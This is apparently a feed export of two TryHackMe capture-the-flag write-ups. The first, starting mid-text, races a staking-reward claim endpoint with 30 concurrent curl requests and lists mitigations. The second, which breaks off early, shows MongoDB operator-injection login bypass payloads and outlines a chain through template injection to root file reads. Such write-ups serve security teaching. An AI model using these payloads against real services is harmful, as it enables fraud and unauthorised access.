multiple 50-PONZI rewards land from what should only ever be one claim per&lt;br&gt;
day. Racing past the intended single-claim limit pushes the balance over&lt;br&gt;
the 150-PONZI "Whale" threshold and unlocks a vault endpoint containing the&lt;br&gt;
flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;span class="go"&gt;PORT     STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;3000/tcp open  http    Node.js Express framework
| http-title: "Ponzi Portfolio - Login"
|_Requested resource was /auth/login
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A crypto-themed "staking rewards" app on port 3000, redirecting&lt;br&gt;
unauthenticated requests to &lt;code&gt;/auth/login&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Mapping the app
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/register
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A normal username/password registration form, client-side JS posting JSON&lt;br&gt;
to &lt;code&gt;/auth/register&lt;/code&gt; and &lt;code&gt;/auth/login&lt;/code&gt;. Registered and logged in as a test&lt;br&gt;
account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/register &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"testuser","password":"testpass123"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Account created."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"redirect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"/dashboard"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"testuser","password":"testpass123"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Logged in."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"redirect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"/dashboard"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dashboard's front-end JS (&lt;code&gt;/js/dashboard.js&lt;/code&gt;) lays out the whole app&lt;br&gt;
logic: a &lt;code&gt;balance&lt;/code&gt; field, a "Claim Reward" button hitting &lt;code&gt;POST /claim&lt;/code&gt;&lt;br&gt;
(50 PONZI, once per 24 hours per the countdown timer), and a "Whale Vault"&lt;br&gt;
unlocked at a 150-PONZI balance via &lt;code&gt;GET /vault&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://&amp;lt;MACHINE_IP&amp;gt;:3000/dashboard/api/me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Shrimp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"canClaim"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"secondsUntilClaim"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  3. Confirming the claim/cooldown mechanic
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/claim
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Staking reward claimed successfully."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"reward"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"newBalance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Shrimp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"priceSnapshot"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;4.2&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://&amp;lt;MACHINE_IP&amp;gt;:3000/dashboard/api/me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"canClaim"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"secondsUntilClaim"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;86396&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One claim, then locked out for roughly 24 hours (86396 seconds). At 50&lt;br&gt;
PONZI per claim and a 150-PONZI whale threshold, legitimately reaching the&lt;br&gt;
vault would take three real claim cycles, spread across three days. Worth&lt;br&gt;
testing whether the cooldown is actually enforced atomically or just&lt;br&gt;
checked once per request.&lt;/p&gt;
&lt;h2&gt;
  
  
  4. Race condition in &lt;code&gt;/claim&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Fired 30 concurrent &lt;code&gt;/claim&lt;/code&gt; requests against the same authenticated&lt;br&gt;
session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 30&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/claim &lt;span class="nt"&gt;-o&lt;/span&gt; resp_&lt;span class="nv"&gt;$i&lt;/span&gt;.json &amp;amp;
&lt;span class="k"&gt;done
&lt;/span&gt;&lt;span class="nb"&gt;wait
grep&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="s1"&gt;'"reward"'&lt;/span&gt; resp_&lt;span class="k"&gt;*&lt;/span&gt;.json | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First run against the already-claimed &lt;code&gt;testuser&lt;/code&gt; session returned zero&lt;br&gt;
successful claims - expected, since that account had already used its&lt;br&gt;
claim for the day and every request correctly saw &lt;code&gt;canClaim: false&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Registered a fresh account (&lt;code&gt;racer1&lt;/code&gt;) specifically to race from a clean,&lt;br&gt;
unclaimed state, then immediately fired 30 concurrent claims before any&lt;br&gt;
single request's balance update could commit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies2.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/register &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"racer1","password":"testpass123"}'&lt;/span&gt;

curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies2.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/auth/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"racer1","password":"testpass123"}'&lt;/span&gt;

&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 30&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies2.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:3000/claim &lt;span class="nt"&gt;-o&lt;/span&gt; resp_&lt;span class="nv"&gt;$i&lt;/span&gt;.json &amp;amp;
&lt;span class="k"&gt;done
&lt;/span&gt;&lt;span class="nb"&gt;wait

grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'"reward":[0-9]*'&lt;/span&gt; resp_&lt;span class="k"&gt;*&lt;/span&gt;.json | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1 resp_1.json:"reward":50
1 resp_2.json:"reward":50
1 resp_3.json:"reward":50
1 resp_4.json:"reward":50
1 resp_5.json:"reward":50
1 resp_7.json:"reward":50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Six of the thirty concurrent requests succeeded - six separate 50-PONZI&lt;br&gt;
rewards from a mechanic that's supposed to permit exactly one per day.&lt;br&gt;
Classic TOCTOU (time-of-check to time-of-use): each request reads&lt;br&gt;
&lt;code&gt;canClaim&lt;/code&gt; from the current balance/timestamp state before any of the&lt;br&gt;
other concurrent requests has written its update back, so several&lt;br&gt;
requests all see "eligible" simultaneously and all get paid out.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies2.txt http://&amp;lt;MACHINE_IP&amp;gt;:3000/dashboard/api/me
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"tier"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Whale"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;300 PONZI - double the 150-PONZI whale threshold, from a single racing&lt;br&gt;
burst.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Unlocking the vault
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies2.txt http://&amp;lt;MACHINE_IP&amp;gt;:3000/vault
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Welcome to the Whale Vault."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"THM{[REDACTED]}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"balance"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Race condition (TOCTOU) on &lt;code&gt;/claim&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The claim-eligibility check (has 24 hours passed?) and the balance-update write are two separate, non-atomic steps. Concurrent requests all read the pre-update state and all pass the check before any of them commits, allowing multiple rewards to be claimed within a window meant to permit only one.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;No idempotency or locking on the reward transaction&lt;/td&gt;
&lt;td&gt;No per-user mutex, database row lock, or idempotency key protects the claim-then-credit sequence, so the app has no way to serialize concurrent claim attempts from the same session.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Client-trusted cooldown display only&lt;/td&gt;
&lt;td&gt;The countdown timer and disabled button in the front end are purely cosmetic (&lt;code&gt;/js/dashboard.js&lt;/code&gt;); server-side enforcement is the only real gate, and it's the part that's racy.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Register + log in (normal account creation, no vuln needed)
        |
        v
GET /dashboard/api/me - learn balance, canClaim, whaleThreshold (150), reward (50/claim)
        |
        v
POST /claim (single request) - confirms one successful claim, then locked for ~24h
        |
        v
Register a second, unclaimed account (clean race target)
        |
        v
Fire 30 concurrent POST /claim requests before any single response commits
        |
        v
Multiple requests all read canClaim=true simultaneously -&amp;gt; 6/30 succeed -&amp;gt; 300 PONZI
        |
        v
GET /vault (balance &amp;gt;= 150) -&amp;gt; flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Make the claim-and-credit operation atomic. Use a single database
transaction with row-level locking (e.g. &lt;code&gt;SELECT ... FOR UPDATE&lt;/code&gt;) or an
atomic conditional update (e.g. &lt;code&gt;UPDATE users SET balance = balance + 50,
last_claim = NOW() WHERE id = ? AND last_claim &amp;lt; NOW() - INTERVAL '24
hours'&lt;/code&gt; and check the affected-row count) so the eligibility check and
the write happen as one indivisible step.&lt;/li&gt;
&lt;li&gt;Serialize claim attempts per user with an application-level lock or
mutex keyed to the user ID, so concurrent requests from the same session
queue rather than race.&lt;/li&gt;
&lt;li&gt;Never rely on client-side timers or disabled buttons to enforce
business rules; treat them as UX only and always re-validate fully on
the server for every request.&lt;/li&gt;
&lt;li&gt;Add basic rate limiting per user/session on sensitive state-changing
endpoints like &lt;code&gt;/claim&lt;/code&gt;, both to blunt this class of race and to slow
down automated abuse generally.&lt;/li&gt;
&lt;li&gt;Log and alert on anomalous reward patterns (e.g. multiple successful
claims for one user within a short window) as a detective control, in
case a race condition like this slips past preventive fixes.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : Do Not Disturb Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 04 Aug 2026 11:08:56 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-do-not-disturb-writeup-283n</link>
      <guid>https://dev.to/exploitnotes/tryhackme-do-not-disturb-writeup-283n</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Byte Lotus Poolside is a Node.js/Express booking app. A NoSQL injection in&lt;br&gt;
the login endpoint bypasses authentication entirely and lands directly in&lt;br&gt;
the staff role. The staff console's booking-confirmation "template"&lt;br&gt;
feature is a raw EJS render with no sandboxing, giving straightforward&lt;br&gt;
server-side template injection and RCE as the low-privileged &lt;code&gt;poolside&lt;/code&gt;&lt;br&gt;
service account. From there, a second Node process owned by a&lt;br&gt;
higher-privileged &lt;code&gt;pipelinesvc&lt;/code&gt; account (member of the &lt;code&gt;disk&lt;/code&gt; group) is&lt;br&gt;
listening on a loopback debug port. Speaking the Node inspector/Chrome&lt;br&gt;
DevTools protocol directly to that port over a raw WebSocket lets us run&lt;br&gt;
arbitrary JavaScript as &lt;code&gt;pipelinesvc&lt;/code&gt;, and that account's &lt;code&gt;disk&lt;/code&gt; group&lt;br&gt;
membership allows reading the root partition block device directly with&lt;br&gt;
&lt;code&gt;debugfs&lt;/code&gt;, bypassing filesystem permissions to pull &lt;code&gt;root.txt&lt;/code&gt; without&lt;br&gt;
ever needing a root shell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User flag:&lt;/strong&gt; &lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Root flag:&lt;/strong&gt; &lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;span class="go"&gt;PORT   STATE SERVICE VERSION
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;80/tcp open  http    Node.js (Express middleware)
|_http-title: "Byte Lotus - Poolside"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Full port sweep confirmed nothing extra:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -p- &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;span class="gp"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;same two ports, 22 and 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The web app is a "Byte Lotus" poolside booking page with a staff/guest&lt;br&gt;
login form posting to &lt;code&gt;/login&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Directory discovery
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;dirsearch -u http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;/ &lt;span class="nt"&gt;-C&lt;/span&gt; 403,404
&lt;span class="gp"&gt;302 -   23B  - /Logout  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;/
&lt;span class="go"&gt;403 -    2KB - /Staff
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;/Staff&lt;/code&gt; exists but returns 403 without auth - confirms there's a&lt;br&gt;
privileged area worth getting into.&lt;/p&gt;
&lt;h2&gt;
  
  
  3. NoSQL injection - authentication bypass
&lt;/h2&gt;

&lt;p&gt;Testing a JSON body against &lt;code&gt;/login&lt;/code&gt; with MongoDB operator injection&lt;br&gt;
confirmed the backend is Mongo-backed and doesn't sanitize input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":{"$ne":null},"password":{"$ne":null}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"guest"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That confirms the injection lands, but only as &lt;code&gt;guest&lt;/code&gt;. The actual login&lt;br&gt;
form posts as regular form-encoded data, not JSON, so switching to&lt;br&gt;
Express's array/bracket syntax (&lt;code&gt;username[$ne]=&lt;/code&gt;) lets the same operator&lt;br&gt;
injection ride through &lt;code&gt;body-parser&lt;/code&gt;'s extended mode, which converts&lt;br&gt;
&lt;code&gt;field[$ne]=value&lt;/code&gt; into a nested object automatically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/login &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"username[&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;ne]="&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"password[&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;ne]="&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





